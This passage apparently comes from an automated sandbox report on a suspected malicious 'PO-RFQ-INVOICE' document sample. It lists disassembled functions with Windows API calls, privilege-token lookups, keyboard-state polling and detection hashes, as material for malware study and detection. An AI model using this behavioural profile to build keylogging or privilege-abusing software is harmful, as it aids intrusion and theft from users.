                                                                                            • Opcode Fuzzy Hash: 5127d0ffcd17cb1bef4f2f1971358f36b919fc832d8745dd5c7fc1032c5585dd
                                                                                            • Instruction Fuzzy Hash: EB5106716043119BD700DF18DC85FAF77A5EB89310F04492EF941973A2DB789D49CBAA
                                                                                            Function 0046FD7F Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 143windowCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • ExtractIconExW.SHELL32(?,?,00000000,?,00000001), ref: 0046FD8A
                                                                                            • ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001,004A83D8,?), ref: 0046FDF0
                                                                                            • SendMessageW.USER32(?,00001109,00000000,00000000), ref: 0046FE0E
                                                                                            • ImageList_ReplaceIcon.COMCTL32(?,000000FF,?,004A83D8,?), ref: 0046FE20
                                                                                            • SendMessageW.USER32(?,0000113E,00000000,?), ref: 0046FEA5
                                                                                            • SendMessageW.USER32(?,0000113F,00000000,?), ref: 0046FEDF
                                                                                            • GetClientRect.USER32(?,?), ref: 0046FEF2
                                                                                            • RedrawWindow.USER32(?,?,00000000,00000000), ref: 0046FF02
                                                                                            • DestroyIcon.USER32(?), ref: 0046FFCC
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: IconMessageSend$ImageList_$ClientCreateDestroyExtractRectRedrawReplaceWindow
                                                                                            • String ID: 2
                                                                                            • API String ID: 1331449709-450215437
                                                                                            • Opcode ID: 0839cb131ab93339cce718f32a9fb856b385d6e902e652cc812f2dbbb554e4d7
                                                                                            • Instruction ID: e79942d1a0196d9b5e30c5c178d8ccafd59c9ae1e7fac48b8759c586c5a3b44e
                                                                                            • Opcode Fuzzy Hash: 0839cb131ab93339cce718f32a9fb856b385d6e902e652cc812f2dbbb554e4d7
                                                                                            • Instruction Fuzzy Hash: EB51AC702043019FD320CF44D885BAABBE5FB88700F04487EE684872A2D7B5A849CB5A
                                                                                            Function 00450E7D Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 120COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • DestroyWindow.USER32(?,?,?,?,?,?,00000000,static,00000000,00000000,?,?,00000000,00000000,?,00000000), ref: 00450EE1
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: DestroyWindow
                                                                                            • String ID: static
                                                                                            • API String ID: 3375834691-2160076837
                                                                                            • Opcode ID: 88f11647011456fbb04f7235260bd1d02a964e72c1c4e3b3fb6640230c73d37f
                                                                                            • Instruction ID: 4605c95b1b006c90d65e271c0fdf07f62d21d56273c2870bf7f2e3decf5281c5
                                                                                            • Opcode Fuzzy Hash: 88f11647011456fbb04f7235260bd1d02a964e72c1c4e3b3fb6640230c73d37f
                                                                                            • Instruction Fuzzy Hash: 4531B572200300BBD7109B64DC45F6BB3A8EBC9711F204A2EFA50D72C0D7B4E8048B69
                                                                                            Function 004393E2 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 109threadCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • GetCurrentProcess.KERNEL32(00000008,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00439409
                                                                                            • OpenThreadToken.ADVAPI32(00000000,?,?,?,?,?,?,?,?,?), ref: 0043940C
                                                                                            • GetCurrentProcess.KERNEL32(00000008,?,?,?,?,?,?,?,?,?,?), ref: 0043941D
                                                                                            • OpenProcessToken.ADVAPI32(00000000,?,?,?,?,?,?,?,?,?), ref: 00439420
                                                                                            • LookupPrivilegeValueW.ADVAPI32(00000000,SeAssignPrimaryTokenPrivilege,?), ref: 0043945B
                                                                                            • LookupPrivilegeValueW.ADVAPI32(00000000,SeIncreaseQuotaPrivilege,?), ref: 00439474
                                                                                            • _memcmp.LIBCMT ref: 004394A9
                                                                                            • CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 004394F8
                                                                                            Strings
                                                                                            • SeAssignPrimaryTokenPrivilege, xrefs: 00439455
                                                                                            • SeIncreaseQuotaPrivilege, xrefs: 0043946A
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: Process$CurrentLookupOpenPrivilegeTokenValue$CloseHandleThread_memcmp
                                                                                            • String ID: SeAssignPrimaryTokenPrivilege$SeIncreaseQuotaPrivilege
                                                                                            • API String ID: 1446985595-805462909
                                                                                            • Opcode ID: 7b5964ebc210eec24af21402e2b7f40e95def761f5b1447ed6d44f65f7ea18b7
                                                                                            • Instruction ID: 628aaead06b6f58e004e5b45c2ed9710a22b4d2b921ab75b424857e8fd72c9d6
                                                                                            • Opcode Fuzzy Hash: 7b5964ebc210eec24af21402e2b7f40e95def761f5b1447ed6d44f65f7ea18b7
                                                                                            • Instruction Fuzzy Hash: DB31A371508312ABC710DF21CD41AAFB7E8FB99704F04591EF98193240E7B8DD4ACBAA
                                                                                            Function 0045D83D Relevance: 17.6, APIs: 3, Strings: 7, Instructions: 86COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • SetErrorMode.KERNEL32(00000001), ref: 0045D848
                                                                                            • GetDriveTypeW.KERNEL32(?,?), ref: 0045D8A3
                                                                                            • SetErrorMode.KERNEL32(?,00000001,00000000), ref: 0045D94A
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: ErrorMode$DriveType
                                                                                            • String ID: CDROM$Fixed$Network$RAMDisk$Removable$Unknown$HH
                                                                                            • API String ID: 2907320926-41864084
                                                                                            • Opcode ID: f2537af69be7bdfb8cd077d5fba63d09357e4425d7c4eca9e5473fe3d57dd33a
                                                                                            • Instruction ID: d4cab332979e247f8c2da9788294718902473fa09eb5ff996f03d25688ce9cbb
                                                                                            • Opcode Fuzzy Hash: f2537af69be7bdfb8cd077d5fba63d09357e4425d7c4eca9e5473fe3d57dd33a
                                                                                            • Instruction Fuzzy Hash: C7318B75A083008FC310EF65E48481EB7A1AFC8315F648D2FF945A7362C779D9068BAB
                                                                                            Function 00467214 Relevance: 16.8, APIs: 11, Instructions: 313COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • SafeArrayAccessData.OLEAUT32(CE8B7824,?), ref: 004672E6
                                                                                            • SafeArrayUnaccessData.OLEAUT32(CE8B7824), ref: 0046735D
                                                                                            • SafeArrayAccessData.OLEAUT32(CE8B7824,?), ref: 00467375
                                                                                            • SafeArrayUnaccessData.OLEAUT32(CE8B7824), ref: 004673ED
                                                                                            • SafeArrayGetVartype.OLEAUT32(CE8B7824,?), ref: 00467418
                                                                                            • SafeArrayAccessData.OLEAUT32(CE8B7824,?), ref: 00467445
                                                                                            • SafeArrayUnaccessData.OLEAUT32(CE8B7824), ref: 0046746A
                                                                                            • SafeArrayUnaccessData.OLEAUT32(CE8B7824), ref: 00467559
                                                                                            • SafeArrayAccessData.OLEAUT32(CE8B7824,?), ref: 0046748A
                                                                                              • Part of subcall function 0041171A: std::bad_alloc::bad_alloc.LIBCMT ref: 00411757
                                                                                              • Part of subcall function 0041171A: std::bad_exception::bad_exception.LIBCMT ref: 0041176B
                                                                                              • Part of subcall function 0041171A: __CxxThrowException@8.LIBCMT ref: 00411779
                                                                                            • SafeArrayAccessData.OLEAUT32(CE8B7824,?), ref: 00467571
                                                                                            • SafeArrayUnaccessData.OLEAUT32(CE8B7824), ref: 004675E4
                                                                                              • Part of subcall function 0041171A: _malloc.LIBCMT ref: 00411734
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: ArraySafe$Data$AccessUnaccess$Exception@8ThrowVartype_mallocstd::bad_alloc::bad_allocstd::bad_exception::bad_exception
                                                                                            • String ID:
                                                                                            • API String ID: 1932665248-0
                                                                                            • Opcode ID: 16f99e80be173eecdd1bb573f6b7f825babaa5351af7cc3efc94bb11c862a2f8
                                                                                            • Instruction ID: 42a0e90c8bf2b482c85e144861ec280134e9fb1dbd9e00a0d693b148f8e5f150
                                                                                            • Opcode Fuzzy Hash: 16f99e80be173eecdd1bb573f6b7f825babaa5351af7cc3efc94bb11c862a2f8
                                                                                            • Instruction Fuzzy Hash: E8B1BF752082009FD304DF29C884B6B77E5FF98318F14496EE98587362E779E885CB6B
                                                                                            Function 004480F2 Relevance: 16.7, APIs: 11, Instructions: 184windowCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • SendMessageW.USER32(?,0000101F,00000000,00000000), ref: 00448182
                                                                                            • SendMessageW.USER32(00000000,?,0000101F,00000000), ref: 00448185
                                                                                            • GetWindowLongW.USER32(?,000000F0), ref: 004481A7
                                                                                            • _memset.LIBCMT ref: 004481BA
                                                                                            • SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004481CC
                                                                                            • SendMessageW.USER32(?,0000104D,00000000,00000007), ref: 0044824E
                                                                                            • SendMessageW.USER32(?,00001074,?,00000007), ref: 004482A4
                                                                                            • SendMessageW.USER32(?,00001057,00000000,00000000), ref: 004482BE
                                                                                            • SendMessageW.USER32(?,0000101D,00000001,00000000), ref: 004482E3
                                                                                            • SendMessageW.USER32(?,0000101E,00000001,00000000), ref: 004482FC
                                                                                            • SendMessageW.USER32(?,00001008,?,00000007), ref: 00448317
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: MessageSend$LongWindow_memset
                                                                                            • String ID:
                                                                                            • API String ID: 830647256-0
                                                                                            • Opcode ID: 45db6e2e50868ce621a7577b0335e91e45f99dc9c013701cc26792922a244152
                                                                                            • Instruction ID: 69fd08a602074ed3d664547bad3ac5a94a9e6c02d61aa1d07dc3907ec7ad0976
                                                                                            • Opcode Fuzzy Hash: 45db6e2e50868ce621a7577b0335e91e45f99dc9c013701cc26792922a244152
                                                                                            • Instruction Fuzzy Hash: 41616F70208341AFE310DF54C881FABB7A4FF89704F14465EFA909B2D1DBB5A945CB56
                                                                                            Function 0046EA7F Relevance: 16.7, APIs: 11, Instructions: 167windowCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                              • Part of subcall function 0043343D: InvalidateRect.USER32(?,00000000,00000001), ref: 004334BE
                                                                                            • DestroyAcceleratorTable.USER32(?), ref: 0046EA9F
                                                                                            • ImageList_Destroy.COMCTL32(?), ref: 0046EB04
                                                                                            • ImageList_Destroy.COMCTL32(?), ref: 0046EB18
                                                                                            • ImageList_Destroy.COMCTL32(?), ref: 0046EB24
                                                                                            • DeleteObject.GDI32(004C0000), ref: 0046EB4F
                                                                                            • DestroyIcon.USER32(003D0045), ref: 0046EB67
                                                                                            • DeleteObject.GDI32(C313BA63), ref: 0046EB7F
                                                                                            • DestroyWindow.USER32(017800C0), ref: 0046EB97
                                                                                            • DestroyIcon.USER32(?), ref: 0046EBBF
                                                                                            • DestroyIcon.USER32(?), ref: 0046EBCD
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: Destroy$IconImageList_$DeleteObject$AcceleratorInvalidateRectTableWindow
                                                                                            • String ID:
                                                                                            • API String ID: 802431696-0
                                                                                            • Opcode ID: 294737084f3018da842919bbfa865d3a976cdf3ad66c8c89ec2250206a47d952
                                                                                            • Instruction ID: 42d633cefbe7d7192e7a113645d0a532909e6831d49db23f2259be933aabe8c6
                                                                                            • Opcode Fuzzy Hash: 294737084f3018da842919bbfa865d3a976cdf3ad66c8c89ec2250206a47d952
                                                                                            • Instruction Fuzzy Hash: 17513178600202DFDB14DF26D894E2A77E9FB4AB14B54446EE502CB361EB38EC41CB5E
                                                                                            Function 00444D52 Relevance: 16.6, APIs: 11, Instructions: 132keyboardCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • GetKeyboardState.USER32(?,?,?), ref: 00444D8A
                                                                                            • GetAsyncKeyState.USER32(000000A0), ref: 00444E0F
                                                                                            • GetKeyState.USER32(000000A0), ref: 00444E26
                                                                                            • GetAsyncKeyState.USER32(000000A1), ref: 00444E40
                                                                                            • GetKeyState.USER32(000000A1), ref: 00444E51
                                                                                            • GetAsyncKeyState.USER32(00000011), ref: 00444E69
                                                                                            • GetKeyState.USER32(00000011), ref: 00444E77
                                                                                            • GetAsyncKeyState.USER32(00000012), ref: 00444E8F
                                                                                            • GetKeyState.USER32(00000012), ref: 00444E9D
                                                                                            • GetAsyncKeyState.USER32(0000005B), ref: 00444EB5
                                                                                            • GetKeyState.USER32(0000005B), ref: 00444EC3
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: State$Async$Keyboard
                                                                                            • String ID:
                                                                                            • API String ID: 541375521-0
                                                                                            • Opcode ID: d4a73a67db12bad31d9fb613c99c8778707defbe90317bf640d05d8e99de570f
                                                                                            • Instruction ID: c605e69a62dfc64c618b97cb3a1930d242a0674024be490a091b983f03ece729
                                                                                            • Opcode Fuzzy Hash: d4a73a67db12bad31d9fb613c99c8778707defbe90317bf640d05d8e99de570f
                                                                                            • Instruction Fuzzy Hash: 6A41C3646087C52DFB31966484017E7FFD16FA2708F58844FD1C5067C2DBAEA9C8C7AA
                                                                                            Function 00474335 Relevance: 16.1, APIs: 8, Strings: 1, Instructions: 308COMMON
                                                                                            Download Yara Rule
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID: HH
                                                                                            • API String ID: 0-2761332787
                                                                                            • Opcode ID: a328fc3f0c2738e7ee23a6f39de9db46e7d7486e18f94bdfd929d974c39bc96d
                                                                                            • Instruction ID: 1932890218e454eaab518c2d08cf67ea4bcb6b95680f1d85a47b5a5cee1eebd3
                                                                                            • Opcode Fuzzy Hash: a328fc3f0c2738e7ee23a6f39de9db46e7d7486e18f94bdfd929d974c39bc96d
                                                                                            • Instruction Fuzzy Hash: 99A1A1726043009BD710EF65DC82B6BB3E9ABD4718F008E2EF558E7281D779E9448B5A
                                                                                            Function 004507E7 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 146windowCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • SendMessageW.USER32(00000000,00001036,00000010,00000010), ref: 004508CB
                                                                                            • SendMessageW.USER32(?,00001036,00000000,?), ref: 004508DB
                                                                                            • SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000013,?,00001036,00000000,?,000000FF,?,SysListView32,004848E8,00000000), ref: 004508FC
                                                                                            • _wcslen.LIBCMT ref: 00450944
                                                                                            • _wcscat.LIBCMT ref: 00450955
                                                                                            • SendMessageW.USER32(?,00001057,00000000,?), ref: 0045096C
                                                                                            • SendMessageW.USER32(?,00001061,?,?), ref: 0045099B
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: MessageSend$Window_wcscat_wcslen
                                                                                            • String ID: -----$SysListView32
                                                                                            • API String ID: 4008455318-3975388722
                                                                                            • Opcode ID: 1aeeed20face43e167d1a5b6966347104c1855cbe0e780de9d31d79ee612f7fa
                                                                                            • Instruction ID: 786a3889ee88f98d9b0e9b4b0e1dacf7018a6923f31dd28eeaa3c07ad082d1a6
                                                                                            • Opcode Fuzzy Hash: 1aeeed20face43e167d1a5b6966347104c1855cbe0e780de9d31d79ee612f7fa
                                                                                            • Instruction Fuzzy Hash: 17519470504340ABE330DB65C885FABB3E4AF84714F104E1EFA94972D3D6B99989CB65
                                                                                            Function 00448602 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 105windowCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • _memset.LIBCMT ref: 00448625
                                                                                            • CreateMenu.USER32 ref: 0044863C
                                                                                            • SetMenu.USER32(?,00000000), ref: 0044864C
                                                                                            • GetMenuItemInfoW.USER32(?,?,00000000,004A83D8), ref: 004486D6
                                                                                            • IsMenu.USER32(?), ref: 004486EB
                                                                                            • CreatePopupMenu.USER32 ref: 004486F5
                                                                                            • InsertMenuItemW.USER32(?,?,00000001,004A83D8), ref: 00448739
                                                                                            • DrawMenuBar.USER32 ref: 00448742
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: Menu$CreateItem$DrawInfoInsertPopup_memset
                                                                                            • String ID: 0
                                                                                            • API String ID: 176399719-4108050209
                                                                                            • Opcode ID: 4add02930eb798c2c2cb68413aedc402262f89096725e95a36bc963f45c6c407
                                                                                            • Instruction ID: 98f94d81d6847d6484dd50bbdc77a0bd9f9f2d632c710d3394220f00cc789bef
                                                                                            • Opcode Fuzzy Hash: 4add02930eb798c2c2cb68413aedc402262f89096725e95a36bc963f45c6c407
                                                                                            • Instruction Fuzzy Hash: 86417675604201AFD700CF68D894A9BBBE4FF89314F14891EFA488B350DBB5A845CFA6
                                                                                            Function 004691F4 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 88windowCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                              • Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71
                                                                                            • SendMessageW.USER32(00000000,0000018C,000000FF,00000000), ref: 00469277
                                                                                            • GetDlgCtrlID.USER32(00000000), ref: 00469289
                                                                                            • GetParent.USER32 ref: 004692A4
                                                                                            • SendMessageW.USER32(00000000,?,00000111), ref: 004692A7
                                                                                            • GetDlgCtrlID.USER32(00000000), ref: 004692AE
                                                                                            • GetParent.USER32 ref: 004692C7
                                                                                            • SendMessageW.USER32(00000000,?,00000111,?), ref: 004692CA
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: MessageSend$CtrlParent$_wcslen
                                                                                            • String ID: ComboBox$ListBox
                                                                                            • API String ID: 2040099840-1403004172
                                                                                            • Opcode ID: d7a46b5f720fef199203ad69d051b39deebb3b2451f9d950c399d088bcf038a9
                                                                                            • Instruction ID: ef07326ddff4210f4741e87947fad3c2ec39ee11b6619cfdf8cc81125e1c6f8c
                                                                                            • Opcode Fuzzy Hash: d7a46b5f720fef199203ad69d051b39deebb3b2451f9d950c399d088bcf038a9
                                                                                            • Instruction Fuzzy Hash: BC21D6716002147BD600AB65CC45DBFB39CEB85324F044A1FF954A73D1DAB8EC0947B9
                                                                                            Function 004693F0 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 87windowCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                              • Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71
                                                                                            • SendMessageW.USER32(00000186,00000186,?,00000000), ref: 00469471
                                                                                            • GetDlgCtrlID.USER32(00000000), ref: 00469483
                                                                                            • GetParent.USER32 ref: 0046949E
                                                                                            • SendMessageW.USER32(00000000,?,00000111), ref: 004694A1
                                                                                            • GetDlgCtrlID.USER32(00000000), ref: 004694A8
                                                                                            • GetParent.USER32 ref: 004694C1
                                                                                            • SendMessageW.USER32(00000000,?,00000111,?), ref: 004694C4
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
